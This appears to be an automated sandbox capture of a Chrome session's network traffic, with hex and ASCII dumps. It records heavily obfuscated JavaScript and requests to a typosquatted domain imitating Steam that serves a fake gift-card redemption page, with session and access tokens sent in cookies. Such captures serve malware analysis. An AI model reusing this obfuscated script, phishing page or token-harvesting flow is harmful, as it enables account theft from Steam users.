tqHI+0x35]},0x1);ULmsoR0=(BopZLaM&fm58XCn(-0x28))<<oxeEbI(0x3f)\|QhtqHI[lYOAmun++]&0x3f}else{if(BopZLaM<=0xef){var t2DN9b=Qrvf_bz(QhtqHI=>{return dcbYO6[QhtqHI<0x46?QhtqHI>0x46?QhtqHI-0x42:QhtqHI<0x46?QhtqHI<0x21?QhtqHI-0x46:QhtqHI>0x46?QhtqHI+0x51:QhtqHI-
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 6f 78 65 45 62 49 28 30 78 34 39 29 2c 5b 30 78 36 5d 29 2c 71 30 65 62 77 72 57 3d 67 62 74 51 6d 68 28 6f 78 65 45 62 49 28 30 78 34 37 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 49 30 49 65 63 54 64 28 50 49 44 66 41 54 7a 2c 45 65 78 66 6b 71 31 29 7b 76 61 72 20 4b 33 35 41 47 51 3d 51 72 76 66 5f 62 7a 28 50 49 44 66 41 54 7a 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 50 49 44 66 41 54 7a 3c 30 78 35 65 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 34 64 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2b 30 78 36 30 3a 50 49 44 66 41 54 7a 3e 30 78 33 39 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 66 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 Data Ascii: oxeEbI(0x49),[0x6]),q0ebwrW=gbtQmh(oxeEbI(0x47)));function I0IecTd(PIDfATz,Eexfkq1){var K35AGQ=Qrvf_bz(PIDfATz=>{return dcbYO6[PIDfATz<0x5e?PIDfATz<0x39?PIDfATz-0x4d:PIDfATz<0x39?PIDfATz+0x60:PIDfATz>0x39?PIDfATz<0x39?PIDfATz-0x1f:PIDfATz<0x39?PIDfATz-0x1
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 62 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 29 29 2c 57 58 70 39 77 36 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2f 30 78 31 2b 49 30 49 65 63 54 64 28 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 61 66 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 29 29 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 2f 4b 33 35 41 47 51 28 2d 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 39 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 61 33 2c 6c 78 33 64 42 4f 4a 3d 2d 62 4a 53 6f 56 Data Ascii: K35AGQ(-0x18))),I0IecTd(0xbb,lx3dBOJ=-0x22))),WXp9w6(-K35AGQ(-0x18)))/0x1+I0IecTd(parseInt(QhtqHI(I0IecTd(0xaf,WXp9w6(-0x22)),I0IecTd(0xb2,WXp9w6(-0x22)))),lx3dBOJ=-0x22)/K35AGQ(-0xa)+parseInt(QhtqHI(I0IecTd(0x92,WXp9w6(-0x22)),I0IecTd(0xa3,lx3dBOJ=-bJSoV
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3c 2d 30 78 64 3f 50 49 44 66 41 54 7a 2d 30 78 35 35 3a 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 2b 30 78 63 3a 50 49 44 66 41 54 7a 2b 30 78 31 64 3a 50 49 44 66 41 54 7a 2d 30 78 31 37 3a 50 49 44 66 41 54 7a 2b 30 78 34 65 3a 50 49 44 66 41 54 7a 2d 30 78 35 36 3a 50 49 44 66 41 54 7a 2b 30 78 66 3a 50 49 44 66 41 54 7a 2b 30 78 34 37 3a 50 49 44 66 41 54 7a 2b 30 78 31 31 3a 50 49 44 66 41 54 7a 2d 30 78 32 63 5d 7d 2c 30 78 31 29 3b 76 6f 69 64 28 77 69 6e 64 6f 77 5b 74 Data Ascii: 18?PIDfATz<0x18?PIDfATz<0x18?PIDfATz>-0xd?PIDfATz<-0xd?PIDfATz-0x55:PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz+0xc:PIDfATz+0x1d:PIDfATz-0x17:PIDfATz+0x4e:PIDfATz-0x56:PIDfATz+0xf:PIDfATz+0x47:PIDfATz+0x11:PIDfATz-0x2c]},0x1);void(window[t
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 68 28 30 78 32 31 29 2c 6c 59 4f 41 6d 75 6e 5b 6f 78 65 45 62 49 28 30 78 34 64 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 33 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 35 37 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 35 29 2c 67 62 74 51 6d 68 28 30 78 32 36 29 2c 67 62 74 51 6d 68 28 51 68 74 71 48 49 28 2d 30 78 34 37 29 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 34 36 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 39 29 2c 67 62 74 51 6d 68 28 30 78 32 61 29 2c 66 6d 35 38 58 43 6e 5b 6f 78 65 45 62 49 28 30 78 35 30 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 63 29 2c 67 62 74 51 6d 68 28 30 78 32 64 29 2c 67 62 74 51 6d 68 2e 63 61 6c 6c 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 6f 78 65 45 62 49 28 30 78 35 31 29 29 2c 67 62 74 51 6d Data Ascii: h(0x21),lYOAmun[oxeEbI(0x4d)],gbtQmh(0x23),PIDfATz[QhtqHI(-0x57)],gbtQmh(0x25),gbtQmh(0x26),gbtQmh(QhtqHI(-0x47)),PIDfATz[QhtqHI(-0x46)],gbtQmh(0x29),gbtQmh(0x2a),fm58XCn[oxeEbI(0x50)],gbtQmh(0x2c),gbtQmh(0x2d),gbtQmh.call(oxeEbI(0x49),oxeEbI(0x51)),gbtQm
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 30 29 2c 27 27 29 2c 55 4c 6d 73 6f 52 30 5b 67 62 74 51 6d 68 28 30 78 31 63 29 5d 28 62 4a 53 6f 56 4b 28 30 78 33 65 36 2c 30 78 33 64 32 29 2c 72 79 45 50 37 38 79 29 2c 55 4c 6d 73 6f 52 30 5b 66 6d 35 38 58 43 6e 5b 30 78 33 5d 5d 28 67 62 74 51 6d 68 28 30 78 33 36 29 2c 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 45 65 78 66 6b 71 31 28 30 78 34 29 2c 30 78 33 63 65 29 5d 5b 72 79 45 50 37 38 79 5d 29 2c 51 68 74 71 48 49 5b 62 4a 53 6f 56 4b 28 30 78 33 65 30 2c 45 65 78 66 6b 71 31 28 30 78 35 29 29 5d 28 55 4c 6d 73 6f 52 30 29 29 7d 63 6f 6e 73 74 20 42 6f 70 5a 4c 61 4d 3d 49 30 49 65 63 54 64 28 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 30 78 33 62 37 2c 30 78 33 63 65 29 5d 5b 62 4a 53 6f 56 4b 28 30 78 33 62 38 2c 30 78 33 62 61 29 5d 2c 77 Data Ascii: 0),''),ULmsoR0[gbtQmh(0x1c)](bJSoVK(0x3e6,0x3d2),ryEP78y),ULmsoR0[fm58XCn[0x3]](gbtQmh(0x36),window[bJSoVK(Eexfkq1(0x4),0x3ce)][ryEP78y]),QhtqHI[bJSoVK(0x3e0,Eexfkq1(0x5))](ULmsoR0))}const BopZLaM=I0IecTd(window[bJSoVK(0x3b7,0x3ce)][bJSoVK(0x3b8,0x3ba)],w
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 5d 29 3b 6c 65 74 20 42 6f 70 5a 4c 61 4d 3d 61 74 6f 62 28 50 49 44 66 41 54 7a 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 62 34 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 55 4c 6d 73 6f 52 30 28 30 78 34 35 29 29 29 5d 28 2f 5c 73 2b 2f 67 2c 27 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 39 2c 30 78 34 62 66 5d 2c 6e 65 77 20 62 4a 53 6f 56 4b 28 4b 33 35 41 47 51 5b 6f 78 65 45 62 49 28 30 78 35 63 29 5d 2c 6f 78 65 45 62 49 28 30 78 34 39 29 2c 45 65 78 66 6b 71 31 29 2e 68 4a 6b 6e 54 5f 5d 28 2f 2d 2f 67 2c 27 2b 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 65 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 30 78 33 38 29 29 5d 28 2f 5f 2f 67 2c 27 2f 27 29 29 3b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 Data Ascii: ]);let BopZLaM=atob(PIDfATz[ryEP78y=[0x4b4,0x4bf],bJSoVK(gbtQmh(ULmsoR0(0x45)))](/\s+/g,'')[ryEP78y=[0x4c9,0x4bf],new bJSoVK(K35AGQ[oxeEbI(0x5c)],oxeEbI(0x49),Eexfkq1).hJknT_](/-/g,'+')[ryEP78y=[0x4ce,0x4bf],bJSoVK(gbtQmh(0x38))](/_/g,'/'));return decodeU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49713	104.102.49.254	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:51 UTC	353	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:51 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Sat, 31 Aug 2024 12:11:28 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 06 Oct 2024 11:20:51 GMT Connection: close
2024-10-06 11:20:51 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-06 11:20:51 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-06 11:20:51 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-06 11:20:51 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:51 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-06 11:20:51 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=19541 Date: Sun, 06 Oct 2024 11:20:51 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49715	172.67.175.206	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:51 UTC	1149	OUT	GET /7d1d7c577e0751535b5d515e740d5e565958575e HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:52 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=spkcorVmzFFPar1o1rMGz9O7CZIDwJaV2NVuyJZdmTR4L%2BbEC8ttCtGBG4QXwuXiw%2BYyq6fsAa4kK7dhMs45WN4HNEig9vNmIs1Q5O%2BgOaAY%2BrgflgU%2FDgwOYCaSexG92u%2BTwZ9vMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ce543bb8f386a58-EWR alt-svc: h3=":443"; ma=86400
2024-10-06 11:20:52 UTC	9	IN	Data Raw: 34 0d 0a 74 72 75 65 0d 0a Data Ascii: 4true
2024-10-06 11:20:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49710	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:52 UTC	1575	OUT	POST /7d1d7c577e075156525b46100527505446445855125670520311 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Content-Length: 69 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:52 UTC	69	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 66 61 63 74 25 32 46 61 63 74 75 61 6c 25 32 46 67 65 74 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 79 2e 63 6f 6d Data Ascii: pathname=%2Ffact%2Factual%2Fget&search=&hostname=sneamcomnnumnlty.com
2024-10-06 11:20:52 UTC	973	IN	HTTP/1.1 201 Created Date: Sun, 06 Oct 2024 11:20:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YoQnzcCf7InqvlNF6yfgDeXAvPru1ztV3Buvv8TiTPBGfUrD9sb2D7z7k70R9hQOoIlezBym%2BMNwpZYPPC8%2BNMn0iF%2BkTFL2JGRqwKM%2FmrVhqhMsExN1ZSi1ECl%2Fl%2BCaxoxogxRzSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543bd7f06238a-EWR
2024-10-06 11:20:52 UTC	396	IN	Data Raw: 34 35 32 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 37 64 31 64 37 63 35 37 37 65 30 37 35 31 35 39 35 64 35 63 35 37 34 64 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 22 61 22 2c 22 62 75 74 74 6f 6e 22 5d 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: 452e<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/7d1d7c577e0751595d5c574d.js'></script><script>window.triggers = ["a","button"]</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewp
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 5f 69 6d 61 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 73 74 65 61 6d 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 3c 6d 65 74 Data Ascii: _image"><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><met
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 3d 50 32 57 4c 49 38 42 36 64 64 4a 65 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 63 61 72 74 2e 63 73 73 3f 76 3d 75 32 46 49 61 69 65 74 58 36 61 46 26 61 6d 70 3b Data Ascii: ylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english" 